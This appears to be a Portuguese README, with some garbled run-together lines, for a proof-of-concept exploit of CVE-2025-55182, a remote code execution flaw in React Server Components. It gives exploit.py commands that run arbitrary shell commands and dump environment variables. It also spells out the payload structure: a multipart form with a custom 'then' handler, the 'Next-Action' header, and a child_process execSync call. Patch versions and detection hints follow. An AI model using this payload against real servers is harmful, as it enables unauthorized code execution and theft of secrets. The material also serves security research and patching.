
PoC para React2Shell (CVE-2025-55182)
Este repositório contém uma prova de conceito para CVE-2025-55182, uma vulnerabilidade crítica de execução remota de código nos Componentes de Servidor React. Destina-se apenas a testes de segurança autorizados e fins de pesquisa.
React:
Next.js:
A vulnerabilidade explora desserialização insegura no protocolo Flight dos Componentes de Servidor React. Quando um servidor recebe uma carga maliciosa especialmente criada, ele falha ao validar corretamente a estrutura antes de desserializar, permitindo que dados controlados pelo atacante manipulem a execução no lado do servidor.
then personalizadoprocess.mainModule.require('child_process')npm install
npm run dev
O servidor iniciará em http://localhost:3000
app/
├── page.js # Página principal com ServerForm
├── ServerForm.js # Componente cliente com formulário
├── actions.js # Ação de Servidor Vulnerável
└── layout.js # Layout raiz
python3 exploit.py -t http://localhost:3000 -c "whoami"
-t, --target: URL alvo (obrigatório)-c, --command: Comando de shell a executar (padrão: id)--check-only: Apenas verificar se o alvo parece vulnerávelVerificar se o alvo está vulnerável:
python3 exploit.py -t http://localhost:3000 --check-only
Executar comandos arbitrários:
# Obter informações do usuário
python3 exploit.py -t http://localhost:3000 -c "id"
# Listar arquivos
python3 exploit.py -t http://localhost:3000 -c "ls -la"
# Criar um arquivo como POC
python3 exploit.py -t http://localhost:3000 -c "touch /tmp/pwned"
# Ler variáveis de ambiente
python3 exploit.py -t http://localhost:3000 -c "env"
O exploit utiliza form-data multipart com:
Campo "0": JSON malicioso com manipulador 'then' personalizado
Campo "1": Referência ao campo 0 ($@0)
Cabeçalho: Next-Action: x (aciona o processamento RSC)
A carga manipula o objeto interno _response para executar:
process.mainModule.require('child_process').execSync('<comando>')
Atualizar React:
npm install [email protected] [email protected]
Atualizar Next.js:
npm install [email protected] # ou a versão corrigida mais recente
Next-Action$@then suspeitas nos corpos das requisiçõesPOST / HTTP/1.1
Next-Action: x
Content-Type: multipart/form-data
...contendo {"then":"$@
Esta prova de conceito é fornecida apenas para fins educacionais e de testes de segurança autorizados. O acesso não autorizado a sistemas computacionais é ilegal. Os autores não assumem qualquer responsabilidade pelo uso indevido desta informação.
NÃO:
Licença MIT - Apenas para Fins de Pesquisa em Segurança